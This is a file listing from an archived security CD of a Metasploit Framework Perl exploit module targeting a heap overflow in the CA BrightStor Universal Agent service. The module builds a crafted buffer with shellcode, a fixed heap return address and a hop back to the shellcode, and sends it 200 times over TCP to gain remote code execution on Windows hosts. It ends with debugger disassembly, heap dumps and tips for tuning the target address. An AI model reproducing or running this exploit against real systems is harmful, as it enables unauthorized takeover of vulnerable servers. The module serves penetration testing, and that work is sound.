home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / cabrightstor_uniagent.pm < prev    next >
Text File  |  2006-06-30  |  9KB  |  214 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::cabrightstor_uniagent;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'  => 'CA BrightStor Universal Agent Overflow',
  20.     'Version'  => '$Revision: 1.13 $',
  21.     'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
  22.  
  23.     'Arch'  => [ 'x86' ],
  24.     'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003', 'winnt' ],
  25.     'Priv'  => 1,
  26.  
  27.     'AutoOpts'  => { 'EXITFUNC' => 'process' },
  28.     'UserOpts'  =>
  29.       {
  30.         'RHOST' => [1, 'ADDR', 'The target address'],
  31.         'RPORT' => [1, 'PORT', 'The target port', 6050],
  32.       },
  33.  
  34.     'Payload' =>
  35.       {
  36.  
  37.         # 250 bytes of space (bytes 0xa5 -> 0xa8 = reversed)
  38.         'Space'     => 164,
  39.         'BadChars'  => "\x00",
  40.         'Keys'      => ['+ws2ord'],
  41.         'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
  42.       },
  43.  
  44.     'Description'  => Pex::Text::Freeform(qq{
  45.     This module exploits a convoluted heap overflow in the CA 
  46.     BrightStor Universal Agent service. Triple userland exception
  47.     results in heap growth and execution of dereferenced function pointer
  48.     at a specified address.
  49. }),
  50.  
  51.     'Refs'    =>
  52.       [
  53.           ['OSVDB', '15471'],      
  54.         ['MIL', '16'],
  55.         ['URL', 'http://www.idefense.com/application/poi/display?id=232&type=vulnerabilities'],
  56.       ],
  57.  
  58.     'DefaultTarget'    => 0,
  59.     'Targets' => [
  60.         ['Magic Heap Target #1', 0x01625c44], # far away heap address
  61.       ],
  62.  
  63.     'Keys'    => ['brightstor'],
  64.   };
  65.  
  66. sub new {
  67.     my $class = shift;
  68.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  69.     return($self);
  70. }
  71.  
  72. sub Exploit {
  73.     my $self = shift;
  74.     my $target_host = $self->GetVar('RHOST');
  75.     my $target_port = $self->GetVar('RPORT');
  76.     my $target_idx  = $self->GetVar('TARGET');
  77.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  78.     my $target = $self->Targets->[$target_idx];
  79.  
  80.     $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
  81.  
  82.     # The server reverses four bytes starting at 0xa5
  83.     # my $patchy = join('', reverse(split('',substr($shellcode, 0xa5, 4))));
  84.     # substr($shellcode, 0xa5, 4, $patchy);
  85.  
  86.     # Create the request
  87.     my $boom = "X" x 1024;
  88.  
  89.     # Required field to trigger the fault
  90.     substr($boom, 248, 2, pack('v', 1000));
  91.  
  92.     # The shellcode, limited to 250 bytes (no nulls)
  93.     substr($boom, 256, length($shellcode), $shellcode);
  94.  
  95.     # This should point to itself
  96.     substr($boom, 576, 4, pack('V', $target->[1]));
  97.  
  98.     # This points to the code below
  99.     substr($boom, 580, 4, pack('V', $target->[1]+8 ));
  100.  
  101.     # We have 95 bytes, use it to hop back to shellcode
  102.     substr($boom, 584, 6, "\x68" . pack('V', $target->[1]-320) . "\xc3");
  103.  
  104.     # Stick the protocol header in front of our request
  105.     $boom = "\x00\x00\x00\x00\x03\x20\xa8\x02".$boom;
  106.  
  107.     $self->PrintLine("[*] Sending " .length($boom) . " bytes to remote host.");
  108.  
  109.     # We keep making new connections and triggering the fault until
  110.     # the heap is grown to encompass our known return address. Once
  111.     # this address has been allocated and filled, each subsequent
  112.     # request will result in our shellcode being executed.
  113.  
  114.     for (1 .. 200) {
  115.         my $s = Msf::Socket::Tcp->new
  116.           (
  117.             'PeerAddr'  => $target_host,
  118.             'PeerPort'  => $target_port,
  119.           );
  120.  
  121.         if ($s->IsError) {
  122.             $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  123.             return;
  124.         }
  125.  
  126.         if ($_ % 10 == 0) {
  127.             $self->PrintLine("[*] Sending request $_ of 200...");
  128.         }
  129.  
  130.         $s->Send($boom);
  131.         $s->Close;
  132.  
  133.         # Give the process time to recover from each exception
  134.         select(undef, undef, undef, 0.1);
  135.     }
  136.     return;
  137. }
  138.  
  139. 1;
  140.  
  141. __END__
  142. 012a0d91 8b8e445c0000     mov     ecx,[esi+0x5c44]
  143. 012a0d97 83c404           add     esp,0x4
  144. 012a0d9a 85c9             test    ecx,ecx
  145. 012a0d9c 7407             jz      ntagent+0x20da5 (012a0da5)
  146. 012a0d9e 8b11             mov     edx,[ecx]         ds:0023:41327441=???????
  147. 012a0da0 6a01             push    0x1
  148. 012a0da2 ff5204           call    dword ptr [edx+0x4]
  149.  
  150. Each request will result in another chunk being allocated, the exception
  151. causes these chunks to never be freed. The large chunk size allows us to
  152. predict the location of our buffer and grow our buffer to where we need it.
  153.  
  154. If these addresses do not match up, run this exploit, then attach with WinDbg:
  155.  
  156. > s 0 Lfffffff 0x44 0x5c 0x61 0x01
  157.  
  158. Figure out the pattern, replace the return address, restart the service,
  159. and run it through again. Only tested on WinXP SP1
  160.  
  161. 011b5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  162. 011c5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  163. 011d5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  164. 011e5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  165. 011f5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  166. 01205c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  167. 01225c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  168. 01235c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  169. 01245c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  170. 01255c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  171. 01265c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  172. 01275c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  173. 01285c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  174. 01295c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  175. 012a5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  176. 012b5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  177. 012c5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  178. 012d5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  179. 012e5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  180. 012f5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  181. 01305c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  182. 01315c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  183. 01525c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  184. 01535c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  185. 01545c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  186. 01555c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  187. 01565c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  188. 01575c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  189. 01585c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  190. 01595c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  191. 015a5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  192. 015b5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  193. 015c5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  194. 015d5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  195. 015e5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  196. 015f5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  197. 01605c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  198. 01615c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  199. 01625c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  200. 01635c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  201. 01645c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  202. 01655c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  203. 01665c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  204. 01675c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  205. 01685c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  206. 01695c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  207. 016a5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  208. 016b5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  209. 016c5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  210. 016d5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  211. 01725c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  212. 017e5c44  48 5c 62 01 4c 5c 62 01-cc cc cc cc cc cc cc cc  H\b.L\b.........
  213.  
  214.